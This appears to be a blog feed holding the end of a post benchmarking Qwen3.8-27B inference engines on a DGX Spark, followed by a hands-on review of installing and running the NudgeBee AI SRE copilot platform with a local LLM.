The GGUF ships with the vision projector and llama.cpp loads it automatically, so I gave the model the chart you just scrolled past, the one measuring the model itself, and asked what it shows. It correctly identified the hardware, both metric panels, every engine and quantization in the comparison, the color coding, and the footnote about bandwidth-bound decode. Then it started reading the exact numbers back to me.

There is something pleasingly recursive about a model reading a chart of its own decode speed at 11.6 t/s, which is the llama.cpp number on that chart, in the engine it was running in while it read it. The image cost 1,470 prompt tokens, and vision decode runs at effectively the same speed as text.

## Unified memory sequencing lesson

The Spark's memory is unified, and CUDA sees essentially all of it: 124,609 MiB, which is 121.7 GiB of the 128GB. That is the whole appeal, a 27B in bf16 fits without quantization. But it also means inference engines fight over the same pool: my vLLM launch failed with "Free memory 74.82/121.69 GiB is less than desired 0.8 utilization (97.35 GiB)" because the llama.cpp server was still resident. On a discrete-GPU box you would notice immediately; on unified memory it is easy to forget a container is holding 18GB. `docker ps` before you launch.

Also the eternal Spark reminder: `nvidia-smi` cannot report memory usage on GB10 (Not Supported), use `free -h`.

## Three days later: MTP arrives on vLLM, and finds a cliff

I sat on this post for three days and the ecosystem moved fast, so here is the update. An official Spark Arena recipe landed with MTP speculative decoding for vLLM (`speculative_config {"method": "mtp", "num_speculative_tokens": 3}`), the same trick Ollama shipped on day one. The gains are real:

| Config | Single-stream tg128 | c10 aggregate |
|---|---|---|
| vLLM NVFP4 plain | 11.5 t/s | 84.3 t/s |
| vLLM NVFP4 + MTP | 22.0 t/s | 105.8 t/s |
| vLLM FP8 + MTP | 13.8 t/s | 55.8 t/s |
| Ollama Q4 (MTP default) | 26.5 t/s | n/a |

NVFP4 + MTP at 105.8 t/s aggregate is the best serving number anything has produced on my Spark. Ollama still holds single-stream.

Now the honest part, and please read this before you run the MTP recipes at long context: **twice in a row, the MTP config hard-rebooted my entire Spark** at exactly the same benchmark cell (16K context, 2 concurrent requests), once on FP8 and once on NVFP4. Not a container crash, a full machine reset, with the journal cut off mid-line and no panic trace, which points at a GPU/SoC lockup. The non-MTP configs ran the same cell and the full 28-cell grid for 6.5 hours without a hiccup. Environment: GB10, driver 580.159.03, kernel 6.17.0-1018-nvidia, the spark-arena vLLM nightly. Until this is understood, treat MTP on vLLM as short-context-only on this box. I will update here when I know more.

### SGLang joins the matrix (and teaches the scariest lesson)

SGLang was the last officially recommended engine I had not run, so I adapted the qwen3.5-27b-fp8 sglang recipe the same way. First attempt: the server came up healthy, answered every request, and produced complete token soup ("visit visit visits 訪...逻辑逻辑logic..."). Disabling the recipe's NEXTN speculative config changed nothing. The actual culprit was the pinned container image, an SGLang dev build created before Qwen3.8 existed: it loads the new checkpoint without a single warning and generates garbage. Swapping to upstream `lmsysorg/sglang:latest-cu130` fixed it instantly.

The scary part is that the health check was green and the API answered every request the whole time - a crash at least tells you something is wrong, silent garbage does not. If you inherit a recipe with a pinned image, coherence-test the output before you benchmark anything.

Numbers on the working upstream build (FP8, no speculation):

| Cell | SGLang | vLLM FP8 (for comparison) |
|---|---|---|
| Prefill pp2048 (c=1) | 1,225 t/s | 1,914 t/s |
| Decode tg128 (c=1) | 7.7 t/s | 8.2 t/s |
| Decode c=10 aggregate | 54.3 t/s | 57.9 t/s |
| Decode at 16K context (c=1) | 7.3 t/s | ~7.9 t/s |

Same shape as vLLM, a few percent behind everywhere on this build, and the same context-flatness.

Then I re-enabled NEXTN speculation (SGLang's MTP equivalent) on the working upstream build, and this is where SGLang earns its seat:

| Cell | SGLang FP8 | SGLang FP8 + NEXTN | vLLM FP8 + MTP |
|---|---|---|---|
| Decode tg128 (c=1) | 7.7 t/s | 13.4 t/s | 13.8 t/s |
| Decode c=10 aggregate | 54.3 t/s | 71.0 t/s | 55.8 t/s |
| Decode at 16K context (c=1) | 7.3 t/s | 10.3 t/s | 14.4 t/s |

Speculation on FP8 gives SGLang almost exactly vLLM's MTP single-stream number (same weights, same trick), and its speculative scheduler scales better under batch: 71 t/s aggregate at concurrency 10 where vLLM's MTP drops to 56. If you see people posting bigger SGLang numbers than mine from earlier in this post, this is why: speculation on versus off. The overall throughput crown still belongs to vLLM NVFP4+MTP, because the 4-bit quant halves the weight traffic that everything else queues behind. And for the record, SGLang with speculation survived the 16K single-stream cell; I deliberately did not run speculation at deep context plus concurrency, the combination that hard-rebooted the box twice under vLLM.

## The 75 tok/s post, reproduced

While I was sitting on this draft, a post by [@0xBakeer](https://x.com/0xBakeer) went around claiming 75 tok/s single-stream and 256 tok/s across 16 parallel requests, on the same model, on the same machine. My first reaction was that it contradicted everything above. It does not, and reproducing it taught me the most useful lesson in this post.

The lever is a dedicated draft model: "DSpark" (community-built, 5 layers, ~2.6GB) proposes blocks of tokens and the full model verifies them in one weight-read. Same speculative idea as MTP, but the drafter is 3x cheaper per guess. Their [recipe repo](https://github.com/0xBakeer/Qwen3.8-27B-FP8-on-a-single-DGX-Spark) is excellent, annotated flag by flag, so I ran it verbatim on my Spark (vLLM v0.27.1 stable, FP8, DSpark k=7):

| Workload | Their number | My Spark |
|---|---|---|
| Edit-heavy (98.5% draft acceptance) | 46.8 t/s | 45.0-48.6 t/s |
| Fresh generation (~30% acceptance) | n/a | 20.8 t/s |
| llama-benchy free-gen, single stream | n/a | 17.2 t/s |
| llama-benchy, 10 concurrent aggregate | n/a | 65.6 t/s |

Reproduced within noise. Their 75 t/s headline is the 4-bit checkpoint plus a deeper draft on the edit-heavy workload, and it is real too.

The lesson: speculative decoding's speedup is the drafter's acceptance rate, and acceptance is a property of YOUR WORKLOAD, not the model. The same server on the same box is 3.5x faster editing existing code (where the draft just copies the prompt) than writing new code (where it genuinely guesses). So a single tokens-per-second number without its workload attached is close to meaningless, including the ones in this post: my numbers are free-form generation, the pessimistic end of the range. If your work is editing, refactoring, or structured rewriting, multiply accordingly.

Practical takeaway for single-user Sparks: DSpark k=7 on the official FP8 checkpoint beats every configuration I measured above (17.2 t/s on the neutral benchmark, 45+ on edit work) with zero quality risk, since verification discards every wrong guess. And it ran on the stable vLLM release without the hard reboot the nightly's MTP path gave me, though I have not dared re-run the exact crash cell.

## Wrapping up

Qwen3.8-27B on a DGX Spark, one day in:

- Day-zero support was real everywhere: llama.cpp immediately, vLLM immediately, Ollama by end of day with v0.32.12. The qwen3_5 architecture class being pre-supported did most of the work.
- Best single-stream chat: Ollama, 26.5 t/s, because it ships the MTP head with speculative decoding on by default. Nobody else does yet.
- Best serving throughput: vLLM NVFP4, 84.3 t/s aggregate at 10 concurrent, prefill scaling to 4,000 t/s.
- The architecture's superpower on this hardware is context flatness: on NVFP4, decode runs 11.5 t/s at zero context, 10.9 at 32K, and still 9.8 at 100K. Long documents are effectively free at decode time.
- Rough edge: FP8 wedged under concurrent deep-context load in the current vLLM nightly. NVFP4 did not. Test your traffic profile.

A dense 27B with native vision and 262K context that runs at usable speeds on a desk box, with Apache 2.0 attached, is exactly what this hardware was built for. The MoE models are still faster chatters, but in my opinion this is the most capable thing my Spark has run so far.

Huge thanks to the unsloth team for having the GGUF and NVFP4 quants up within hours, the Ollama team for shipping same-day support, and the Spark Arena maintainers (Drew Botwinick, Eugene Rakhmatulin, Raphael Amorim) whose recipes and containers turned a day-zero model into a config-file edit. If you have a Spark, give these recipes a try and let me know what numbers you get - and submit them to [Spark Arena](https://spark-arena.com) so we can compare notes.

## Links

- Model: [Qwen/Qwen3.8-27B](https://huggingface.co/Qwen/Qwen3.8-27B) and [Qwen/Qwen3.8-27B-FP8](https://huggingface.co/Qwen/Qwen3.8-27B-FP8)
- Quants: [unsloth/Qwen3.8-27B-GGUF](https://huggingface.co/unsloth/Qwen3.8-27B-GGUF), [unsloth/Qwen3.8-27B-NVFP4](https://huggingface.co/unsloth/Qwen3.8-27B-NVFP4)
- Ollama: [ollama.com/library/qwen3.8](https://ollama.com/library/qwen3.8) (needs v0.32.12+)
- Tools: [sparkrun](https://sparkrun.dev), [llama-benchy](https://pypi.org/project/llama-benchy/), [Spark Arena](https://spark-arena.com)
- My submission: sub1786754097881 on the Spark Arena leaderboard

---

# I Ran an AI SRE Copilot on My Own Hardware. Here Is What It Actually Does.

- Canonical: https://blog.kubesimplify.com/nudgebee-ai-sre-copilot-hands-on
- Published: 2026-08-17
- Summary: Running NudgeBee v1.4.0 end to end - a self-hosted AIOps platform behind AI-SRE, AI-FinOps, AI-K8sOps, and agentic automation - on a Mac, a kiac cluster, and a DGX Spark.

**TL;DR** - NudgeBee is an AIOps platform built around AI agents for DevOps and SRE teams - AI-SRE is one surface on it, alongside AI-FinOps, AI-K8sOps, and an automation builder. What sold me is that it implements a full SRE control loop in code: collect signals, rank events, investigate with real tools, recommend fixes, run durable workflows, and keep an audit trail. In this post I run the whole thing locally - the control plane in Docker Compose on my Mac, a 3-node Kubernetes cluster in lightweight VMs via kiac, and the LLM served from a DGX Spark on my desk. Real screenshots, real commands, real sharp edges.

> Source note: everything below was run against **NudgeBee v1.4.0** (released August 3, 2026) on August 10, 2026. I installed it, connected a cluster, and broke things so you don't have to. For a fast-moving open-source project, always cross-check the upstream README.

---

## The Problem: On-Call Engineers Are Human Glue

Most teams do not fail on-call because they have zero dashboards.

They fail because the dashboards, alerts, logs, cloud inventory, cost data, tickets, and runbooks all live in different places. The on-call engineer becomes the integration layer: copy a pod name from Slack, search logs in another tab, check metrics in a third tool, open a ticket, paste a summary, then run a command from a runbook that may or may not still be true.

That is the real problem an SRE copilot should solve - and it has nothing to do with asking an LLM what Kubernetes is.

The mental model that makes this class of tool click:

> **An SRE copilot is a control loop for production systems.**

![The SRE copilot control loop](/img/blog/nudgebee-ai-sre-copilot-hands-on/diagram-control-loop.svg)

SRE teams already run this loop by hand every day:

1. **Observe** - alerts, metrics, logs, Kubernetes events, cloud inventory.
2. **Normalize** - turn tool-specific mess into consistent resources and events.
3. **Rank** - decide what is noise and what pages a human.
4. **Investigate** - gather evidence from the cluster, metrics, logs, tickets.
5. **Recommend** - a fix, a rollback, a rightsizing change, a runbook.
6. **Act** - run the remediation, or guide a human through it.
7. **Record** - keep the investigation and outcome for the next incident.

NudgeBee's value is that it treats these stages as **one product surface**. The loop is the product - not the dashboard, and not the LLM.

---

## What NudgeBee Is (as of v1.4.0)

NudgeBee describes itself as a unified AIOps / CloudOps platform: **AI-SRE** (troubleshooting), **AI-FinOps** (cost and rightsizing), **AI-K8sOps** (cluster operations), and an **Agentic Automation Builder** - without fragmented tools or model lock-in.

Under the hood it is a monorepo of TypeScript, Go, and Python services:

![NudgeBee v1.4.0 architecture - app, backend services, data layer, collectors, and the in-cluster agent](/img/blog/nudgebee-ai-sre-copilot-hands-on/diagram-architecture.svg)

Each service owns a stage of the loop:

| Loop stage | NudgeBee piece |
| --- | --- |
| Observe | `k8s-collector`, `cloud-collector`, in-cluster agent, webhooks |
| Normalize | `services-server`, migrations, resource model |
| Rank | triage scoring, event aggregation (LLM-assisted since v1.4) |
| Investigate | `llm-server` agents + tools, RAG, knowledge graph |
| Act | `workflow-server` (Temporal), relay to the cluster |
| Notify | `notifications-server` - Slack, Teams, Discord, email |
| Record | Postgres: conversations, tool calls, executions, tickets |

Because these surfaces share the same collectors, knowledge graph, and integrations (more on bCortex below), a team can start with just one - say, triage - and add FinOps or automation later without re-plumbing anything.

The right way to read the repo is not file by file. It is: "which stage of the loop does this service own?"

(One naming heads-up if you go source diving: the service that deploys as `workflow-server` lives in the code as `runbook-server`. Same thing - one Temporal worker wearing two names.)

---

## Quick Start: Two Ways to Run It

Since v1.3.0, every first-party image is published to `ghcr.io/nudgebee/*` and the umbrella Helm chart is on GHCR as an OCI artifact - so you no longer need to build anything from source.

### Path 1: Kubernetes (the one-liner-ish path)

```bash
export NUDGEBEE_ENC_KEY=$(openssl rand -hex 32)   # store this safely

helm install nudgebee oci://ghcr.io/nudgebee/charts/nudgebee \
  --namespace nudgebee --create-namespace \
  --set nudgebee_secret.NUDGEBEE_ENCRYPTION_KEY="$NUDGEBEE_ENC_KEY" \
  --wait --timeout 20m

kubectl -n nudgebee port-forward svc/app 3000:80
```

The post-install hook applies migrations automatically. Grab the bootstrap password from the `nudgebee` secret and sign in at `localhost:3000`.

### Path 2: Docker Compose on a laptop (what I did)

```bash
git clone https://github.com/nudgebee/nudgebee.git && cd nudgebee
docker compose --profile full up -d
```

The default profile starts the infrastructure (Postgres, Redis, RabbitMQ, Qdrant, Temporal, one-shot migrations). The `full` profile adds all the app services as containers - about 18 in total, all pulled from GHCR.

Here is my stack once everything settled:

```text
SERVICE                IMAGE                                           STATUS
api-server-services    ghcr.io/nudgebee/services-server:1.4.0          Up
app                    ghcr.io/nudgebee/app:1.4.0                      Up
cloud-collector        ghcr.io/nudgebee/cloud-collector-server:1.4.0   Up
k8s-collector-app      ghcr.io/nudgebee/k8s-collector:1.4.0            Up
llm-server             ghcr.io/nudgebee/llm-server:1.4.0               Up
ml-k8s-server          ghcr.io/nudgebee/ml-k8s-server:1.4.0            Up
notifications-server   ghcr.io/nudgebee/notifications:1.4.0            Up
postgres               ghcr.io/nudgebee/postgres:16                    Up (healthy)
qdrant                 ghcr.io/nudgebee/qdrant:v1.18.3                 Up
rabbitmq               ghcr.io/nudgebee/rabbitmq:3-management          Up
rag-server             ghcr.io/nudgebee/rag-server:1.4.0               Up
redis                  ghcr.io/nudgebee/redis:7-alpine                 Up
relay-server           ghcr.io/nudgebee/relay-server:1.4.0             Up
temporal               temporalio/auto-setup:1.29.1                    Up
temporal-ui            temporalio/ui:2.44.0                            Up
ticket-server          ghcr.io/nudgebee/ticket-server:1.4.0            Up
workflow-server        ghcr.io/nudgebee/workflow-server:1.4.0          Up
```

**Real-world notes from my install** (the kind of thing READMEs never tell you):

- Several `full`-profile services ship without environment config in the compose file. I added a `docker-compose.override.yaml` that gives each one its database URL, RabbitMQ host, and the shared `NUDGEBEE_ENCRYPTION_KEY`. The key must be identical everywhere - it encrypts integration credentials at rest.
- On macOS, the k8s-collector wants host port **5000**, which AirPlay already squats on. Remap it in the override.
- The k8s-collector expects the backend at the hostname `services-server`; the compose service is named `api-server-services`. A one-line network alias fixes event ingestion.
- If you disable ClickHouse (`clickhouse.enabled=false`), the agent chart still references the ClickHouse secret. Create a stub secret or leave it enabled.

Sign in with **Admin Login**, any email, and the local dev password `Test!24#5` (the dummy-credentials provider - local development only).

![NudgeBee login screen](/img/blog/nudgebee-ai-sre-copilot-hands-on/01-login.jpg)

One pleasant surprise: v1.4.0 no longer drops you into an empty product. First login lands on a **demo dataset** - active incidents, error-rate events, rightsizing recommendations - so you can explore every surface before connecting anything real.

![Home dashboard with demo data - incidents, optimize recommendations, quick links](/img/blog/nudgebee-ai-sre-copilot-hands-on/02-home-dashboard.jpg)

---

## The Lab: Cluster on the Mac, Brain on the DGX Spark

For the demo I wanted everything self-hosted, including the model. My setup:

![The lab - NudgeBee control plane and kiac cluster on the MacBook, Ollama on the DGX Spark](/img/blog/nudgebee-ai-sre-copilot-hands-on/diagram-lab-setup.svg)

- **Control plane**: the Compose stack above.
- **Tenant cluster**: a 3-node k3s cluster created with [kiac](https://github.com/saiyam1814/kiac) (Kubernetes in Apple Containers - every node is its own lightweight VM with a routable IP, so the in-cluster agent can reach the control plane over the vmnet gateway like a real remote cluster would).
- **Inference**: Ollama on a DGX Spark across the room. NudgeBee's llm-server calls it over plain HTTP. The model does not need to be anywhere near the cluster - the LLM is just an API.

The point of this setup is the architecture lesson: **the brain, the hands, and the workloads are three separate places**, glued together by exactly two protocols - a websocket relay for the cluster and an OpenAI-compatible endpoint for the model.

### Demo workloads

I deployed a `payments` namespace with three deployments: a healthy nginx `payments-gateway`, a `payments-api` that crashes on boot with a missing `DATABASE_URL`, and a deliberately over-provisioned `report-worker` (1 CPU / 1Gi requested per replica to do nothing) - one problem for each of NudgeBee's three surfaces: troubleshooting, RCA, and FinOps.

### Connecting the cluster

Admin → Integrations shows the catalog: Kubernetes and clouds, plus categories for messaging, ticketing, observability backends, repos, CI/CD, databases, and LLM providers.

![Integrations catalog - Kubernetes, AWS, Azure, GCP, Cloud Foundry](/img/blog/nudgebee-ai-sre-copilot-hands-on/03-integrations-catalog.jpg)

Adding a Kubernetes account generates an agent key and a copy-paste install command (shell script or Helm). You can toggle components off - Prometheus stack, OpenCost, eBPF node agent, OpenTelemetry collector - and the command updates live.

![Add Kubernetes Account - component toggles and generated install command](/img/blog/nudgebee-ai-sre-copilot-hands-on/04-connect-cluster-modal.jpg)

The agent chart installs kube-prometheus-stack and OpenCost alongside the NudgeBee agent, then dials **out** to the control plane over a websocket:

```json
{"msg":"greeting","payload":"{\"action\":\"auth\",\"version\":\"0.1.11\",...}"}
{"msg":"updated relay connection status to true","agent_type":"k8s"}
```

That outbound-only relay design matters: real clusters sit behind NAT and firewalls, so the control plane can never assume it can dial in. Commands flow down the same websocket the agent opened.

Two minutes later the cluster shows up with a candid message:

![Connected account - "Give me about an hour to generate insights"](/img/blog/nudgebee-ai-sre-copilot-hands-on/05-connected-home.jpg)

I like this honesty. Trend-based insights need trends. But live state is immediate:

![Cluster overview - 3 nodes, 21 pods, real CPU and memory](/img/blog/nudgebee-ai-sre-copilot-hands-on/06-cluster-overview.jpg)

Three nodes, twenty-one pods, live CPU and memory pulled from the Prometheus the agent just installed. No demo data - this is the kiac cluster.

---

## The Loop, Live: Signal → Triage → AI Investigation

Within minutes, real events started flowing. The home page surfaced a firing issue with an **Investigate** button next to it:

![Live issue on home - 1 pod has ImagePullBackoff, with Investigate button](/img/blog/nudgebee-ai-sre-copilot-hands-on/07-live-issue-investigate.jpg)

The Troubleshoot section turns raw events into a **triage inbox**: every issue gets a triage score, severity, alert status, and an owner path - sliced by error type (OOM Killed, Image Pull Backoff, High Restarts, CPU Throttling, Replica Mismatch):

![Triage inbox - pod errors with triage score, severity, and Investigate action](/img/blog/nudgebee-ai-sre-copilot-hands-on/08-triage-pod-errors.jpg)

This is the **Rank** stage of the loop, and it is where alert fatigue goes to die. v1.4.0 added LLM-assisted triage scoring on top of the rule-based signals.

Clicking **Investigate** opens the AI side. This is where NudgeBee stops being a dashboard:

![AI investigation in progress - parallel tool calls with live status](/img/blog/nudgebee-ai-sre-copilot-hands-on/11-ai-investigation-parallel-tools.jpg)

Read that screenshot carefully, because it shows the architecture:

- The agent states its plan in plain language.
- It then fires **multiple tool calls in parallel**: an events query for the pod, a `kubectl describe` for image and status, a resource-graph search - each with its own live status and a "Tool Details" expander showing the raw evidence.
- Evidence accumulates as **sources** attached to the conversation, not vibes.

Ten minutes later (on a 26B model running on my own hardware - more on that below), the finished analysis landed:

![Completed AI investigation - summary, 5-Whys causality chain, evidence, resolution](/img/blog/nudgebee-ai-sre-copilot-hands-on/12-ai-investigation-result.jpg)

Let's pause on the *structure* of that answer for a second, because it is doing a lot of work:

- **Investigation Summary** - symptom plus the exact signal: Kubernetes events reporting `NotFound` for the specific image reference.
- **Causality Chain (5-Whys)** - pod is in ImagePullBackOff → runtime cannot pull the image → the registry returned `404 Not Found` for that tag → root cause: the manifest references a non-existent image tag.
- **Evidence** - a clickable source (`Events - E2`) carrying the raw `rpc error: code = NotFound`, with 4 sources attached to the conversation.
- **Resolution** - an immediate fix (point the manifest at a valid tag, verify against the registry) *and* a long-term recommendation (validate image tags in CI/CD before rollout).

And the diagnosis was correct - I verified the tag really does not exist in the registry. Not "it may be due to an image pull error, OOM kill, config issue, or failing dependency." A specific root cause, with the evidence to check its work.

One small detail that shows the loop thinking: under the answer, NudgeBee suggests **Related Questions** - verify the fix was applied and the pod is Running, inspect the corrected manifest, analyze the CI/CD logs so the bad tag never ships again:

![Related Questions - verify the fix, inspect the manifest, prevent the regression](/img/blog/nudgebee-ai-sre-copilot-hands-on/13-related-questions.jpg)

That last suggestion is the Record stage turning into prevention: today's investigation trying to make sure tomorrow's page never fires.

### ReWOO is gone - meet the Orchestrating planner

If you read about NudgeBee before mid-2026, you may remember its two planning styles: ReWOO (plan first, execute after) and ReAct (think, act, observe, repeat). **v1.4.0 retired the ReWOO planner.** Both agent types - *Orchestrating* (the top-level coordinator) and *ReAct* (domain investigators) - now run a hybrid planner the code calls **ReAct3**: a ReAct loop extended with an `<actions>` block that lets the model declare several independent tool calls in one step.

That is the parallel execution visible in the screenshot, and it is the sensible endpoint of the planner debate: keep ReAct's evidence-driven loop, recover ReWOO's efficiency by batching independent lookups.

The tool layer is wide: `kubectl` and Helm, Prometheus/PromQL, Loki, Elasticsearch, Datadog, New Relic, OpenObserve (new in v1.4.0), cloud APIs, ticket systems, GitHub, spend analysis, and workflow lifecycle actions. The agent decides *what* to look at; tools are *how* it touches reality:

> The model should not hallucinate your cluster. It should ask tools for evidence.

### Guardrails you can see in the logs

Watching llm-server logs during the investigation was its own education:

```text
plannerexecutor: submitting tool for parallel execution   (x4)
plannerexecutor: pre-flight detected tool with LLM-only
  classification, assuming potential write
plannerexecutor: tool output truncated at source
```

Pre-flight classification of potentially write-capable tools, output truncation before context stuffing, per-account tool scoping, and an egress filter (default "detect" mode) that watches for secrets leaving via LLM calls. None of it is glamorous, and all of it is what makes "AI with kubectl access" survivable.

---

## bCortex: The Context Layer Under Every Agent

There is a failure mode every naive "agentic ops" tool shares: **the agent rediscovers your infrastructure from scratch on every question.** List the namespaces. Describe the deployments. Page through events. Ask again tomorrow and it does all of it again. Token spend grows with cluster size, latency grows with token spend, and worst of all, whenever discovery is incomplete the model fills the gaps by guessing - which is where operational hallucinations come from.

NudgeBee's answer is a context layer the team calls **bCortex**, and it has three parts you can find in the codebase:

- An **auto-generated Knowledge Graph** (`api-server/services/knowledge_graph/`) that models the relationships between resources, events, and findings - so "what depends on this pod" is a graph lookup, not a fresh round of kubectl calls.
- A **Service Map** built from APM and trace data - deliberately a *different* artifact than the KG: the service map is dataflow (who calls whom), the KG is resource state. Both feed the agent.
- A **multi-tiered, usage-based memory layer**. The code describes it as a layered "memory slab" - preferences and identity first, with patterns and decisions layered on - extracted from actual usage rather than hand-written.

I did not have to take anyone's word for this, because my own run left its fingerprints in the logs. The moment my ImagePullBackOff investigation completed, llm-server ran `long-term memory extraction` on the conversation and logged the stats - the platform was already mining my investigation for reusable knowledge. During the run I also watched `kb_sync` cycles keeping the knowledge base current, `tool call cache` hits skipping discovery calls the platform had already made, and the planner `comparing with history` before deciding what to fetch. My first investigation was the expensive one; everything after it starts warmer.

The economics follow directly. Right-sized context per call instead of dump-everything-into-the-prompt means fewer tokens. Graph and cache lookups replace repeated discovery tool calls. Model-tier routing (a `reasoning` / `retrieval` / `summary` split in the config) sends heavyweight thinking to the big model and summarization to a cheap one. At the scale where agentic ops gets interesting - hundreds of investigations a week across a fleet - that is the difference between a bill that grows with every question and one that amortizes. And accuracy moves the same direction as cost, because a model grounded in a graph that already knows what exists has far less room to hallucinate.

> A chatbot loop rediscovers your infrastructure every time. A context layer remembers it.

This is also why the multi-agent pitch holds up in practice: a new agent - FinOps, K8sOps, a custom automation - does not start from zero. It inherits everything bCortex already knows about the environment.

---

## FinOps Is in the Same Loop

The Optimize surface treats cost as an operational signal, not a finance spreadsheet: workload/replica/PV rightsizing, abandoned-resource detection, spot recommendations, best practices, and an **Auto Optimize** response that can act on them:

![Optimize - rightsizing categories, abandoned resources, auto-optimize](/img/blog/nudgebee-ai-sre-copilot-hands-on/10-optimize-rightsizing.jpg)

Mine shows zeros because recommendations are trend-based (OpenCost plus NudgeBee's ML rightsizing service watch for a day or more before opining). The structure is the takeaway: an over-provisioned pod, an idle disk, and a crashlooping deployment are the *same kind of problem* - operational hygiene - and they belong on the same screen with the same Investigate button.

---

## Why Temporal Ships Inside an SRE Copilot

The moment a copilot crosses from *answering* to *acting*, durability stops being optional. A remediation workflow that dies silently when a process restarts after step 3 of 7 is worse than no automation at all.

NudgeBee runs every runbook and scheduled job through **Temporal**. I opened the bundled Temporal UI (`:8233`) and found the platform eating its own dog food - 102 workflow executions from just a few hours of uptime:

![Temporal UI - 102 workflows: agent status checks, notification batching, insight refresh](/img/blog/nudgebee-ai-sre-copilot-hands-on/09-temporal-workflows.jpg)

Agent health checks, notification batching, recommendation-resolution updates, insight refreshes, system cleanup - all as versioned, retryable, resumable workflows with full history. The Automations surface builds on the same engine: manual, scheduled, webhook, and event-triggered workflows, with approval steps, retries, child workflows, and persistent state.

The division of labor here is exactly right: the LLM helps decide what to do, and Temporal makes doing it operationally boring. It is also why "AI will replace runbooks" has it backwards - AI makes durable runbooks *more* important.

---

## Bring Your Own Model (Including the One on Your Desk)

NudgeBee's pitch includes "no model lock-in," and v1.4.0 implements providers for OpenAI, Anthropic, Bedrock, SageMaker, Azure, Google AI, Vertex AI, and HuggingFace/vLLM-style endpoints.

Two field findings worth your time:

**1. For Ollama, use the OpenAI-compatible path - it is what the [official docs](https://docs.nudgebee.com/docs/integrations/LLM/Ollama/) configure, and it works.** The trap I fell into: the sample env file also lists `ollama` as a provider value, and that switch case is not wired up in v1.4.0, so picking it fails with `llm model not found - ollama`. Stick to the documented config, which goes through Ollama's OpenAI-compatible endpoint (the team told me they will make this more explicit):

```bash
LLM_PROVIDER=openai
LLM_MODEL_NAME=qwen3.5:35b-a3b
LLM_PROVIDER_API_ENDPOINT=http://<your-ollama-host>:11434/v1
LLM_PROVIDER_API_KEY=anything-non-empty
```

**2. Local models need bigger timeouts.** The defaults assume cloud-API latency: 30 seconds to first token, a 10-minute global retry budget. An agent prompt here is 15k+ tokens, and a big local model can blow through both. Raise them:

```bash
LLM_PROVIDER_TTFT_TIMEOUT_SECONDS=300
LLM_SERVER_GLOBAL_RETRY_BUDGET_MINUTES=30
LLM_SERVER_MAX_INDIVIDUAL_CALL_TIMEOUT_MINUTES=15
```

On hardware: my Mac could not prefill the agent's ~16k-token prompts inside the deadlines. The DGX Spark prefilled the same prompt in **0.9 seconds warm (~17,900 tokens/sec)**. Two more lessons from the run: reasoning-mode models (qwen3.5's thinking) generate thousands of deliberation tokens per ReAct step, so decode speed - not prefill - becomes the loop's bottleneck; and a fast non-thinking model often beats a smarter slow one for agentic work. The completed investigation above ran on `gemma4:26b` - the full multi-tool loop plus write-up in about ten minutes, entirely on hardware I own.

The architecture take-away is bigger than my desk, though: because the model is just an HTTP endpoint, "cluster on one machine, GPU on another, control plane on a third" works with zero special configuration. Your prompts and evidence stay on your network.

---

## Where Would You Actually Use This? Six Scenarios

Because the surfaces share one platform, these are not six separate products to evaluate - they are six entry points into the same one.

**1. On-call triage.** Connect the cluster, wire Slack/Teams, and let the triage inbox rank what fires. The score plus event aggregation turns 40 raw alerts into 3 issues with owners. Start here - it is read-only and pays off day one.

**2. Crashloop and error RCA.** The `payments-api` pattern: pod crashes, event fires, Investigate pulls describe + events + logs + recent changes in parallel and writes up a root cause with evidence attached. The investigation is recorded, so the *next* engineer searching that error finds a documented case, not a blank page.

**3. FinOps and rightsizing.** After a few days of trends: workload/replica/PV rightsizing with monthly savings estimates, abandoned-volume detection, spot candidates - each with an Optimize action, gated behind approvals if you want them.

**4. Runbook automation.** Codify the fix once as a Temporal-backed workflow: event-triggered ("on ImagePullBackOff in namespace X, check the registry and page the owning team"), scheduled (nightly hygiene), or webhook-driven (from your existing alertmanager). Approval steps make the write path safe to roll out gradually.

**5. Ticket and incident hygiene.** The ticket-server syncs Jira, ServiceNow, PagerDuty, and Zenduty, so investigations attach to tickets and resolutions flow back - the Record stage, automated.

**6. Multi-cluster and hybrid estates.** The relay design (agents dial out) means clusters behind NAT, in customer VPCs, or on edge hardware all connect the same way. One control plane, N clusters, per-account scoping.

The common thread: **start read-only, earn trust, then open the write path** - observation → investigation → recommendation → automation, in that order.

---

## Things I Would Be Careful About in Production

The standard sharp edges of the category, plus what I hit:

- **Start read-only.** Let it observe, investigate, and recommend before it remediates. The approval-gated workflows exist for a reason - use them.
- **Treat the LLM provider as a data boundary.** Prompts carry pod names, log lines, maybe secrets that slipped into logs. Self-hosting the model (above) is the strongest version of this control; the built-in egress filter is defense in depth, not a substitute for thinking.
- **The dummy credentials and sample secrets are for laptops.** `Test!24#5` and friends must never see a routable network. Disable dummy auth, rotate `NUDGEBEE_ENCRYPTION_KEY` handling into a real secret store, set the relay and internal service tokens, and read `docs/auth-and-networkpolicy.md` before exposing anything.
- **The encryption key is a one-way door.** Rotate it and previously encrypted rows are unreadable. There is no automatic re-encryption.
- **No telemetry by default** - data leaves only through integrations you configure (LLM calls, notifications, ticket sync, webhooks). Those paths are exactly where your security review should look.
- **Licensing**: Business Source License 1.1 - free to self-host internally; hosted/managed-service use is restricted; each version converts to Apache 2.0 after its change date. Read `LICENSE` and `LICENSING.md` if you are evaluating for a company.

---

## What This Teaches About Building AIOps Platforms

Five lessons I keep coming back to after a day inside it:

1. **Context beats chat.** The interesting part is not the assistant - it is bCortex, the graph and memory around it: resources, events, tickets, tool calls, prior investigations. AI without context is a guesser; AI with context is an operator interface.
2. **Tools need ownership boundaries.** Tenant scoping, credential isolation, pre-flight write detection, output truncation - the boring parts are what make the write path safe.
3. **Runbooks are the safety rail, not the legacy.** The agent discovers and parameterizes workflows; Temporal gives them retries, approvals, versioning, and history.
4. **Cost is an ops signal.** Reliability and FinOps on one surface matches how platform teams actually work.
5. **A monorepo can be a teaching tool.** TypeScript for the app, Go for the backends, Python for ML and collectors, Postgres/RabbitMQ/Redis/Qdrant/Temporal each doing the one job they are best at. Studying why each piece exists is a free course in platform engineering.

If you want to explore the code, follow the loop: start at `docs/ARCHITECTURE.md` and `docs/GLOSSARY.md`, then `llm/llm-server/agents/` and `tools/` for the AI layer (grep `RegisterNBAgentFactory` and `RegisterNBTool`), then `runbook-server/tests/integration/testdata/` (the code home of workflow-server) for a catalog of what the workflow engine can do, and finally `collector-server/` for how reality enters the system.

---

## Final Mental Model

```text
signals -> resources -> events -> triage -> investigations -> recommendations -> runbooks -> records
```

